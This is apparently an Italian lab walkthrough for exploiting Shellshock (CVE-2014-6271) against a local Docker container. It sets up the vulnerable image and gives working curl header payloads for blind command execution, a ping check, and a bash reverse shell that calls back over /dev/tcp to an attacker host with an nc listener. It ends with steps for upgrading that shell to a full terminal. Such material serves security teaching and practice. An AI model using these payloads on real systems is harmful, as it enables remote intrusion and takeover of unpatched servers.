Parametri --------- RHOST=127.0.0.1 RPORT=8080 LHOST=155.185.333.444 LPORT=8888 CGIURL=/cgi-bin/vulnerable Installazione container Docker ------------------------------ sudo gpasswd -a docker $USERNAME sudo systemctl start docker docker pull vulnerables/cve-2014-6271 Esecuzione container Docker --------------------------- docker run --rm -it -p 8080:80 vulnerables/cve-2014-6271 (CTRL-c per interrompere il container) Esecuzione di una shell dentro il container ------------------------------------------- ID=$(docker ps | tail -n +2 | awk '{print $1}') docker exec -ti $ID /bin/bash (CTRL-d o exit per uscire) Conferma della vulnerabilità ---------------------------- export foo='() { echo "in foo"; }; echo "vulnerable";' bash -c "foo" vulnerable in foo (da eseguire nel container) Esecuzione remota di comandi (RCE) alla cieca --------------------------------------------- curl -vvv http://$RHOST:$RPORT$CGIURL -H "custom: () { :; }; /usr/bin/whoami" Verifica della vulnerabilità ---------------------------- tail /var/log/apache2/error.log apache2: Could not reliably determine the server's fully qualified domain name, using 172.17.0.2 for ServerName [Mon Mar 07 09:05:22 2022] [notice] Apache/2.2.22 (Debian) configured -- resuming normal operations [Mon Mar 07 09:06:53 2022] [error] [client 172.17.0.1] malformed header from script. Bad header=www-data: vulnerable (da eseguire nel container) NB: non è quasi mai possibile verficare vulnerabilità in questo modo, poiché non si ha accesso al sistema vulnerabile. Si prova ad eseguire un comando che fornisca evidenze dell'avvenuta esecuzione di un comando (ad es., ping). Conferma RCE con ping --------------------- wireshark -> cattura -> filtro icmp curl -vvv http://$RHOST:$RPORT$CGIURL -H "custom: () { :; }; /bin/ping -c 3 $LHOST" Si dovrebbe notare traffico ICMP (3 ECHO REQUEST). Reverse shell ------------- nc -vlp $LPORT curl -vvv http://$RHOST:$RPORT$CGIURL -H "custom: () { :; }; /bin/bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1" Riferimenti: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/ Promozione della shell a terminale completo ------------------------------------------- Creazione di uno pseudo terminale: script -qc /bin/bash /dev/null In alternativa, se c'è Python: python -c 'import pty; pty.spawn("/bin/bash")' Disattivazione dello pseudo terminale dell'host: stty raw -echo Ricostruzione dello pseudo terminale sul container: % export TERM=xterm-256color stty rows 24 columns 100 alias ls='ls --color=auto' Riferimenti: https://book.hacktricks.xyz/shells/shells/full-ttys https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/